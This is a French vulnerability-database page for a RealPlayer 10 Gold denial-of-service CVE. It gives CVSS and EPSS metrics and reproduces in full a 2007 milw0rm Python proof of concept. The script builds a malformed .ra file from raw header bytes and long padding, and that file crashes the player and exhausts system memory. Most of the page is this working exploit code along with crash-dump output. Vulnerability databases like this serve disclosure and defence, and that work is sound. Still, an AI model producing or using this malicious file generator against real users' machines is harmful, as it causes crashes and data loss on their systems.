CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
RealNetworks RealPlayer 10 Gold allows remote attackers to cause a denial of service (memory consumption) via a certain .ra file. NOTE: this issue was referred to as a "memory leak," but it is not clear if this is correct.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.8
AV:N/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
3.63%
–
2023-05-14
–
–
–
3.61%
–
2023-06-18
–
–
–
5.03%
–
2023-12-24
–
–
–
4.92%
–
2024-01-28
–
–
–
4.9%
–
2024-02-18
–
–
–
4.9%
–
2024-03-10
–
–
–
6.02%
–
2024-06-02
–
–
–
6.02%
–
2024-06-16
–
–
–
6.02%
–
2024-09-29
–
–
–
5.86%
–
2024-12-22
–
–
–
8.06%
–
2025-01-19
–
–
–
8.06%
–
2025-03-18
–
–
–
–
3.26%
2025-03-18
–
–
–
–
3.26,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2007-04-29 22h00 +00:00 Auteur : n00b EDB Vérifié : Yes
#!/usr/bin/python
###
#*Real player 10 Gold .Ra file remote Dos.
#Credits to n00b for finding this bug
#This bug is a nasty memory leak with in
#Real player 10 gold please remember if
#your guna test it out save all your info
#you need first..Coz your probly guna have
#to reboot also remember all other applications
#will be deprived of page memory so other
#applications might fail upon execution
###
#Tested: On win xp sp 1 / sp 2.
################################################################################
#Pf usage will go from around 120mb-1.40gb
#I've provided the following debug info also
#What i could collect from the crash dump..
#No vital memory address where over written
#Just a nasty memory leak.
################################################################################
#Executable search path is:
#Windows XP Version 2600 (Service Pack 2) UP Free x86 compatible
#Product: WinNt, suite: SingleUserTS Personal
#Debug session time: Sun Apr 29 13:45:27.000 2007 (GMT-7)
#System Uptime: 0 days 0:47:42.649
#Process Uptime: 0 days 0:01:39.000
################################################################################
#This dump file has an exception of interest stored in it.
#The stored exception information can be accessed via .ecxr.
#(420.4a0): Access violation - code c0000005 (first/second chance not available)
#eax=00000001 ebx=00000000 ecx=00000000 edx=00780764 esi=00785110 edi=6334def8
#eip=632164b5 esp=0012ddc8 ebp=0012dfdc iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
#rput3260+0x64b5:
#632164b5 8b11 mov edx,dword ptr [ecx] ds:0023:00000000=????????
################################################################################
#Seams like another memory leak in real-player 10 gold fully patched.
#Im not relying on the debug-info as i had to reboot at crash time
#Vist us at http://blackhat-forums.com/.
################################################################################
import sys
import struct
import time
print"#########################################################################"
print" n00b is credited for find this bug and writing poc. "
print"#########################################################################"
print"# Real player 10 gold .Ra file dos exploit #"
print"# Shouts to every one at milw0rm #"
print"# ======================= #"
print"# Date :Aprill 29 2007 #"
print"# #"
print"# Shouts to marsu your doing a excellent job #"
print"#########################################################################"
print""
print"Special thanks to str0ke"
print""
print"Please wait your file is being created"
time.sleep (2.0)
################################################################################
Main_Header = "\x2e\x52\x4d\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00"
Main_Header += "\x00\x06\x50\x52\x4f\x50\x00\x00\x00\x32\x00\x00\x00\x00\xfa\x53"
Main_Header += "\x00\x00\xfa\x53\x00\x00\x02\xe8\x00\x00\x02\xe8\x00\x00\x00\x3c"
Main_Header += "\x00\x00\x10\xe4\x00\x00\x07\x41\x00\x00\xb3\xee\x00\x00\x02\xac"
Main_Header += "\x00\x02\x00\x0d\x0a\x4d\x44\x50\x52\x00\x00\x00\xa4\x00\x00\x00"
Main_Header += "\x00\x00\x00\xfa\x53\x00\x00\xfa\x53\x00\x00\x02\xe8\x00\x00\x02"
Main_Header += "\xe8\x00\x00\x00\x00\x00\x00\x07\x41\x00\x00\x15\xfd\x0c\x41\x75"
Main_Header += "\x64\x69\x6f\x20\x53\x74\x72\x65\x61\x6d\x14\x61\x75\x64\x69\x6f"
Main_Header += "\x2f\x78\x2d\x70\x6e\x2d\x72\x65\x61\x6c\x61\x75\x64\x69\x6f\x00"
Main_Header += "\x00\x00\x56\x2e\x72\x61\xfd\x00\x05\x00\x00\x2e\x72\x61\x35\x66"
Main_Header += "\x05\x63\xd7\x00\x05\x00\x00\x00\x46\x00\x0e\x00\x00\x02\xe8\x00"
Main_Header += "\x00\xae\x60\x00\x07\x55\x6d\x00\x00\x00\x00\x00\x14\x02\xe8\x00"
Main_Header += "\xba\x00\x00\x00\x00\xac\x44\x00\x00\xac\x44\x00\x00\x00\x10\x00"
################################################################################
Mid_Header = "\x01\x67\x65\x6e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Mid_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Mid_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Mid_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00"
Mid_Header += "\x00\x62\x1f\xc1\x42\x37\xc5\x7f\xd8\xaa\x9b\x59\x89\x0d\x91\xbb"
Mid_Header += "\xcd\x29\x32\xb4\xb0\xd9\x30\x0f\x05\x08\x5e\x2b\x3f\x60\x23\x43"
Mid_Header += "\xe2\xf3\x82\x96\x81\xfe\xa4\x83\x8e\x2b\x32\x09\x1a\x21\x1e\xc9"
Mid_Header += "\x8d\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
################################################################################
Junk_Header = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
Junk_Header += "\x41\x41\x00\x37\xc5\x11\xf2\x37\xc5\x11\xf2\x37\xc5\x11\xf2\x37"
################################################################################
Tail_Header = "\xc5\x49\x4e\x44\x58\x00\x00\x00\x3e\x00\x00\x00\x00\x00\x03\x00"
Tail_Header += "\x00\x00\x00\xb4\x2c\x00\x00\x00\x00\x00\x5c\x00\x00\x02\xbe\x00"
Tail_Header += "\x00\x00\x00\x00\x00\x00\x00\x07\x8c\x00\x00\x3d\xce\x00\x00\x00"
Tail_Header += "\x14\x00\x00\x00\x00\x0e\xbc\x00\x00\x78\xde\x00\x00\x00\x28\x49"
Tail_Header += "\x4e\x44\x58\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x01\x00"
Tail_Header += "\x00\x00\x00\x00"
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n00b_file.close()
print"File was created."
# milw0rm.com [2007-04-30]
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Realnetworks>>Realplayer >> Version To (including) 10.0